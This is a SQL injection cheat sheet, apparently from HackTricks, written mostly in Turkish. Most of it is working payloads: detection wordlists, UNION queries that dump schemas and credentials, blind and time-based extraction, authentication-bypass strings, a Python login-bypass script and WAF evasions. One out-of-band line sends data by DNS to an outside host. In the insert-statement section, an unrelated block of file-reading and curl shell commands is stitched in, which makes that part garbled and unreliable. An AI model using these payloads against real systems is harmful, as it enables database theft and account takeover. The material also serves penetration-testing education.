# SQL Injection
{{#include ../../banners/hacktricks-training.md}}
## SQL injection nedir?
Bir **SQL injection**, saldırganların bir uygulamanın **veritabanı sorgularına müdahale etmelerini** sağlayan bir güvenlik açığıdır. Bu zafiyet, saldırganların erişmemesi gereken verileri — diğer kullanıcıların bilgileri veya uygulamanın erişebildiği herhangi bir veri dahil — **görmelerine**, **değiştirmelerine** veya **silmelerine** olanak tanıyabilir. Bu tür eylemler uygulamanın işlevselliğinde veya içeriğinde kalıcı değişikliklere, hatta sunucunun ele geçirilmesine veya denial of service'e neden olabilir.
## Giriş noktası tespiti
Bir site, SQLi ile ilişkili girdilere verilen olağandışı sunucu yanıtları nedeniyle **SQL injection (SQLi)**'ye açık görünüyorsa, **ilk adım** sorguyu bozmeden sorguya nasıl **veri enjekte edileceğini** anlamaktır. Bu, mevcut bağlamdan etkili şekilde **kaçma (escape)** yöntemini belirlemeyi gerektirir. Aşağıda bazı faydalı örnekler var:
```
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
```
Sonra, hataların olmaması için **query'i nasıl düzelteceğinizi** bilmeniz gerekir. Query'i düzeltmek için **input** veri girerek **previous query**'in yeni veriyi kabul etmesini sağlayabilir veya sadece verinizi **input** edip sonuna bir **comment symbol** ekleyebilirsiniz.
_Not: Eğer error messages görebiliyorsanız ya da bir query'nin çalışırken ve çalışmıyorken arasındaki farkları tespit edebiliyorsanız bu aşama daha kolay olacaktır._
### **Comments**
```sql
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
```
### Mantıksal işlemlerle doğrulama
SQL injection zafiyetini doğrulamanın güvenilir bir yöntemi, bir **mantıksal işlem** yürütmek ve beklenen sonuçları gözlemlemektir. Örneğin, `?username=Peter` gibi bir GET parametresinin `?username=Peter' or '1'='1` olarak değiştirildiğinde aynı içeriği vermesi SQL injection açığını gösterir.
Benzer şekilde, **matematiksel işlemlerin** uygulanması da etkili bir doğrulama tekniğidir. Örneğin, `?id=1` ve `?id=2-1` erişimleri aynı sonucu veriyorsa, bu SQL injection göstergesidir.
Mantıksal işlem doğrulamasını gösteren örnekler:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
Bu kelime listesi, önerilen şekilde **SQLinjections**'ı doğrulamaya çalışmak için oluşturuldu:
Gerçek SQLi
```
true
1
1>0
2-1
0+1
1*1
1%2
1 & 1
1&1
1 && 2
1&&2
-1 || 1
-1||1
-1 oR 1=1
1 aND 1=1
(1)oR(1=1)
(1)aND(1=1)
-1/**/oR/**/1=1
1/**/aND/**/1=1
1'
1'>'0
2'-'1
0'+'1
1'*'1
1'%'2
1'&'1'='1
1'&&'2'='1
-1'||'1'='1
-1'oR'1'='1
1'aND'1'='1
1"
1">"0
2"-"1
0"+"1
1"*"1
1"%"2
1"&"1"="1
1"&&"2"="1
-1"||"1"="1
-1"oR"1"="1
1"aND"1"="1
1`
1`>`0
2`-`1
0`+`1
1`*`1
1`%`2
1`&`1`=`1
1`&&`2`=`1
-1`||`1`=`1
-1`oR`1`=`1
1`aND`1`=`1
1')>('0
2')-('1
0')+('1
1')*('1
1')%('2
1')&'1'=('1
1')&&'1'=('1
-1')||'1'=('1
-1')oR'1'=('1
1')aND'1'=('1
1")>("0
2")-("1
0")+("1
1")*("1
1")%("2
1")&"1"=("1
1")&&"1"=("1
-1")||"1"=("1
-1")oR"1"=("1
1")aND"1"=("1
1`)>(`0
2`)-(`1
0`)+(`1
1`)*(`1
1`)%(`2
1`)&`1`=(`1
1`)&&`1`=(`1
-1`)||`1`=(`1
-1`)oR`1`=(`1
1`)aND`1`=(`1
```
### Zamanlama ile Doğrulama
Bazı durumlarda test ettiğiniz sayfada **herhangi bir değişiklik fark etmeyebilirsiniz**. Bu nedenle, **blind SQL injections'ı keşfetmek** için DB'nin işlemler yapmasını sağlayarak sayfanın yüklenme süresine **etki etmesini** sağlamak iyi bir yoldur.\
Bu yüzden SQL query'e tamamlanması uzun sürecek bir işlemi concat edeceğiz:
```
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
Bazı durumlarda **sleep functions won't be allowed**. Bu durumda, bu fonksiyonları kullanmak yerine sorgunun birkaç saniye sürecek **karmaşık işlemler gerçekleştirmesini** sağlayabilirsiniz. _Bu tekniklerin örnekleri her teknoloji için ayrı olarak (varsa) yorumlanacaktır_.
### Arka Uç Tespiti
Arka ucu tespit etmenin en iyi yolu, farklı arka uçlara ait fonksiyonları çalıştırmayı denemektir. Önceki bölümdeki _**sleep**_ **fonksiyonlarını** veya şu örnekleri kullanabilirsiniz ( [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification) kaynağından alınan tablo):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Ayrıca, sorgu çıktısına erişiminiz varsa, **veritabanı sürümünü yazdırmasını** sağlayabilirsiniz.
> [!TIP]
> Devamında farklı tür SQL Injection'ları istismar etmek için farklı yöntemleri tartışacağız. Örnek olarak MySQL kullanacağız.
### PortSwigger ile Tespit
{{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## Union Based'i İstismar Etme
### Sütun sayısını tespit etme
Eğer sorgunun çıktısını görebiliyorsanız, bu onu istismar etmenin en iyi yoludur. Öncelikle, **ilk isteğin** döndürdüğü **sütun** **sayısını** bulmamız gerekiyor. Bunun nedeni **her iki sorgunun da aynı sayıda sütun döndürmesi** gerektiğidir. Bu amaç için genellikle iki yöntem kullanılır:
#### Order/Group by
Bir sorgudaki sütun sayısını belirlemek için, bir yanlış yanıt alına kadar **ORDER BY** veya **GROUP BY** deyimlerinde kullanılan sayıyı kademeli olarak artırın. SQL içindeki **GROUP BY** ve **ORDER BY**'ın farklı işlevleri olmasına rağmen, sorgunun sütun sayısını belirlemek için her ikisi de aynı şekilde kullanılabilir.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
```sql
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
#### UNION SELECT
Sorgu doğru olana kadar daha fazla null değeri seçin:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_`null` değerlerini kullanmalısınız; bazı durumlarda sorgunun her iki tarafındaki sütunların türü aynı olmalıdır ve `null` her durumda geçerlidir._
### Veritabanı adları, tablo adları ve sütun adlarını çıkarma
Aşağıdaki örneklerde tüm veritabanlarının adlarını, bir veritabanının tablo adlarını ve bir tablonun sütun adlarını alacağız:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_Her farklı veritabanında bu veriyi keşfetmenin farklı bir yolu vardır, ancak her zaman aynı metodolojidir._
## Gizli Union Based'in Sömürülmesi
When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.
This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.
Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.
For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Error based'in Sömürülmesi
If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.\
Following a similar flow as in the Union Based exploitation you could manage to dump the DB.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Exploiting Blind SQLi
Bu durumda sorgunun sonuçlarını veya hataları göremezsiniz, ancak sorgunun **return** ettiği yanıtın **true** veya **false** olduğunu **distinguished** edebilirsiniz çünkü sayfada farklı içerikler gösterilir.\
Bu durumda, bu davranışı kullanarak database'i char by char dökebilirsiniz:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## Error Blind SQLi'yi Sömürme
Bu, **öncekiyle aynı durum**dur; ancak sorgudan dönen true/false yanıtı arasında ayrım yapmak yerine SQL sorgusunda bir **hata** olup olmadığını **ayırt edebilirsiniz** (ör. HTTP server çöktüğü için). Bu nedenle, bu durumda doğru char'ı tahmin ettiğinizde her seferinde bir SQLerror zorlayabilirsiniz:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Time Based SQLi'yi İstismar Etme
Bu durumda sayfanın bağlamına göre sorgunun **cevabını** **ayırt etmek** için hiçbir yol **yoktur**. Ancak, tahmin edilen karakter doğruysa sayfanın **yüklenmesinin daha uzun sürmesini** sağlayabilirsiniz. Bu tekniğin daha önce [confirm a SQLi vuln](#confirming-with-timing) amacıyla kullanıldığını zaten görmüştük.
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Stacked Queries
stacked queries kullanarak **ardışık olarak birden fazla sorgu çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya geri döndürülmez**. Bu nedenle bu teknik öncelikle **blind vulnerabilities** ile ilişkilidir; burada ikinci bir sorgu ile bir DNS lookup, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz.
**Oracle** desteklemez **stacked queries.** **MySQL, Microsoft** ve **PostgreSQL** bunları destekler: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
Eğer **no-other** exploitation method **worked** ise, bilgilerin sizin kontrolünüzdeki bir **external host**'a **database ex-filtrate** edilmesini sağlamayı deneyebilirsiniz. Örneğin, DNS sorguları aracılığıyla:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### XXE aracılığıyla bant dışı veri sızdırma
```sql
a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- -
```
## Otomatik İstismar
SQLi açığını [SQLMap Cheatsheet](sqlmap/index.html) ile [**sqlmap**](https://github.com/sqlmapproject/sqlmap) kullanarak sömürmek için bakın.
## Teknolojiye özel bilgi
SQL Injection zafiyetini sömürmenin tüm yollarını zaten tartıştık. Bu kitapta veritabanı teknolojisine bağlı bazı ek hileleri bulun:
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
- [MySQL](mysql-injection/index.html)
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/index.html)
Veya **MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok hile** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Kimlik doğrulama atlatma
Login işlevini atlatmaya çalışmak için denenebilecek liste:
{{#ref}}
../login-bypass/sql-login-bypass.md
{{#endref}}
### Ham hash ile kimlik doğrulama atlatma
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Bu sorgu, MD5'in raw output için true ile kullanıldığı kimlik doğrulama kontrollerinde bir zayıflığı gösterir ve sistemi SQL injection'a karşı savunmasız bırakır. Saldırganlar, hashlendiğinde beklenmedik SQL komutu parçaları üreten girdiler hazırlayarak bunu sömürebilir ve yetkisiz erişime yol açabilir.
```sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
```
### Injected hash authentication Bypass
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**Önerilen liste**:
Listede her satırı username olarak kullanmalısınız, password ise her zaman: _**Pass1234.**_\
_(Bu payloads, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)_
{{#file}}
sqli-hashbypass.txt
{{#endfile}}
### GBK Authentication Bypass
Eğer ' escape ediliyorsa %A8%27 kullanabilirsiniz; ve ' escape edildiğinde şu şekilde oluşacaktır: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
Python betiği:
```python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Polyglot injection (çoklu bağlam)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Insert Statement
### Mevcut nesne/kullanıcının parolasını değiştir
Bunu yapmak için bir şeyi değiştirerek **"master object" ile aynı adda yeni bir nesne oluşturmayı** (kullanıcılar için muhtemelen **admin**) denemelisiniz:
- Şu kullanıcıyı oluştur: **AdMIn** (büyük & küçük harfler)
- Şu kullanıcıyı oluştur: **admin=**
- **SQL Truncation Attack** (kullanıcı adı veya email için bir tür **uzunluk limiti** olduğunda) --> Şu kullanıcıyı oluştur: **admin \[a lot of spaces] a**
#### SQL Truncation Attack
Eğer veritabanı savunmasızsa ve kullanıcı adı için maksimum karakter sayısı örneğin 30 ise ve **admin** kullanıcısı gibi davranmak istiyorsanız, şu kullanıcı adını oluşturmaya çalışın: "_admin \[30 spaces] a_" ve herhangi bir parola.
Veritabanı **girilen** **kullanıcı adının** veritabanında **var olup olmadığını** **kontrol edecek**. Eğer **yoksa**, **kullanıcı adını** **izin verilen maksimum karakter sayısına** (bu durumda: "_admin \[25 spaces]_") kadar **kısaltacak** ve daha sonra **sondaki tüm boşlukları otomatik olarak kaldırarak** veritabanında "**admin**" kullanıcısını **yeni parola** ile güncelleyecektir (bazı hatalar görülebilir fakat bu, işlemin başarısız olduğu anlamına gelmez).
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Insert zaman tabanlı kontrol
VALUES ifadesinden çıkmak için gerektiğini düşündüğünüz kadar `','',''` ekleyin. Eğer delay yürütülürse, SQLInjection vardır.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
MySQL'de `ON DUPLICATE KEY UPDATE` ifadesi, bir satır eklenmeye çalışıldığında ve bu satırın UNIQUE index veya PRIMARY KEY içinde tekrar eden bir değere yol açması durumunda veritabanının hangi işlemleri yapacağını belirtmek için kullanılır. Aşağıdaki örnek, bu özelliğin bir yönetici hesabının parolasını değiştirmek için nasıl istismar edilebileceğini göstermektedir:
Example Payload Injection:
Bir injection payload şu şekilde hazırlanabilir; burada `users` tablosuna iki satır eklenmeye çalışılmaktadır. İlk satır oyalama amacıyla, ikinci satır ise mevcut bir yöneticinin e-posta adresini hedefleyerek parolayı güncellemek içindir:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
İşleyişi şöyle:
- Sorgu iki satır eklemeye çalışır: biri `generic_user@example.com` için, diğeri ise `admin_generic@example.com` için.
- Eğer `admin_generic@example.com` için satır zaten mevcutsa, `ON DUPLICATE KEY UPDATE` ifadesi tetiklenir ve MySQL'e mevcut satırın `password` alanını "bcrypt_hash_of_newpassword" olarak güncellemesini söyler.
- Sonuç olarak, kimlik doğrulama `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen parola kullanılarak denenebilir ("bcrypt_hash_of_newpassword" ifadesi yeni parolanın bcrypt hash'ini temsil eder; bu, istenen parolanın gerçek hash'i ile değiştirilmelidir).
### Bilgi çıkarımı
#### Aynı anda 2 hesap oluşturma
Yeni bir kullanıcı oluşturulmaya çalışıldığında username, password ve email gereklidir:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### Onluk veya onaltılık kullanma
Bu teknikle yalnızca 1 hesap oluşturarak bilgi çıkarabilirsiniz. Herhangi bir şeyi yorum satırı haline getirmenize gerek olmadığını belirtmek önemlidir.
**hex2dec** ve **substr** kullanılarak:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
```
cat src/pentesting-web/sql-injection/README.md
git show HEAD:src/pentesting-web/sql-injection/README.md
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
less src/pentesting-web/sql-injection/README.md
curl -s https://raw.githubusercontent.com////src/pentesting-web/sql-injection/README.md
```
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
Kullanarak **hex** ve **replace** (ve **substr**):
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
## Routed SQL injection
Routed SQL injection enjekte edilebilen sorgunun doğrudan çıktı vermediği; bunun yerine enjekte edilen sorgunun çıktısının çıktı üreten başka bir sorguya aktarıldığı bir durumdur. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Örnek:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF Bypass
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### No spaces bypass
No Space (%20) - whitespace alternatifleri kullanarak bypass
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
No Whitespace - yorumlar kullanarak bypass
```sql
?id=1/*comment*/and/**/1=1/**/--
```
No Whitespace - parantez kullanarak bypass
```sql
?id=(1)and(1)=(1)--
```
### No commas bypass
No Comma - bypass kullanarak OFFSET, FROM ve JOIN
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### Genel Bypasses
Anahtar kelimeler kullanarak Blacklist - büyük/küçük harf kullanarak bypass
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
Anahtar kelimelerle yapılan büyük/küçük harf duyarsız blacklist - eşdeğer bir operator kullanarak bypass
```
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### Bilimsel Gösterim WAF bypass
Bu hileyle ilgili daha ayrıntılı bir açıklamayı [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Temelde, WAF'ı bypass etmek için bilimsel gösterimi beklenmedik şekillerde kullanabilirsiniz:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### Sütun İsimleri Kısıtlamasını Aşma
Öncelikle, eğer **orijinal sorgu ile flag'i çıkarmak istediğiniz tablo aynı sütun sayısına sahipse** şunu yapabilirsiniz: `0 UNION SELECT * FROM flag`
Bir tablonun üçüncü sütununa ismini kullanmadan erişmek mümkündür; aşağıdaki gibi bir sorgu ile: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, bu yüzden bir sqlinjection'da bu şöyle görünür:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
Veya **comma bypass** kullanarak:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
Bu taktik şu adresten alınmıştır: [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### Column/tablename injection in SELECT list via subqueries
Kullanıcı girdisi SELECT listesine veya table/column identifiers olarak birleştiriliyorsa, prepared statements işe yaramaz çünkü bind parameters yalnızca değerleri korur, identifiers için değil. Yaygın bir savunmasız örüntü şudur:
```php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
```
İstismar fikri: field konumuna bir subquery inject ederek herhangi bir veriyi exfiltrate etmek:
```sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
```
Notlar:
- Bu, WHERE ifadesi bağlı bir parametre kullansa bile çalışır; çünkü identifier listesi hâlâ string olarak birleştirilir.
- Bazı stack'ler ayrıca tablo adını kontrol etmenize izin verir (tablename injection), bu da tablolar arası okumalara olanak sağlar.
- Çıktı noktaları seçilen değeri HTML/JSON içine yansıtabilir, bu da yanıt üzerinden doğrudan XSS veya token exfiltration'a izin verebilir.
Önlemler:
- Kullanıcı girdilerinden gelen identifier'ları asla birleştirmeyin. İzin verilen sütun adlarını sabit bir beyaz listeye eşleyin ve identifier'ları doğru şekilde tırnaklayın.
- Dinamik tablo erişimi gerekiyorsa, bunu sonlu bir küple sınırlayın ve güvenli bir eşlemeyle sunucu tarafında çözün.
### WAF bypass öneri araçları
{{#ref}}
https://github.com/m4ll0k/Atlas
{{#endref}}
## Diğer Rehberler
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Brute-Force Tespit Listesi
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
## Referanslar
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../../banners/hacktricks-training.md}}